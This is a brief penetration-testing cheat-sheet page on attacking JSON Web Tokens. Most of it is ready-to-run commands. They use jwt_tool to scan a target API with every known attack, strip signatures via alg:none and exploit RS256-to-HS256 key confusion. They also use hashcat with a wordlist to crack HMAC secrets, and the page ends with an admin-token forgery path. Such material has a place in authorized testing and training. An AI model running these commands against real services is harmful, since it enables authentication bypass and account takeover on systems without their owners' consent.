OPSECTLAS you are here: Web
Web

JWT Attacks

reference 6 commands 1 tool

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex
toolshashcat
What it is

JSON Web Tokens carry identity, and weak implementations let you forge them. The big three: alg:none (strip the signature), a weak HMAC secret you can crack, and RS256-to-HS256 key confusion (sign with the public key as the HMAC secret). jwt_tool automates all of them.

Decode and inspect, then run every well-known attack automatically

jwt_tool <JWT>
jwt_tool <JWT> -M at -t http://<TARGET-IP>/api

alg:none - strip the signature (works when the server trusts the header alg)

jwt_tool <JWT> -X a

Crack a weak HMAC secret offline, then forge any claim

hashcat -m 16500 <JWT> /usr/share/wordlists/rockyou.txt
jwt_tool <JWT> -S hs256 -p 'secret123' -I -pc name -pv admin

RS256 -> HS256 key confusion: sign with the server public key as the HMAC secret

jwt_tool <JWT> -X k -pk public.pem
Most common exploit path

Decode → try alg:none → if HS256, crack the secret with hashcat -m 16500 → forge an admin token. Maps to OWASP A07 Identification and Authentication Failures.

connected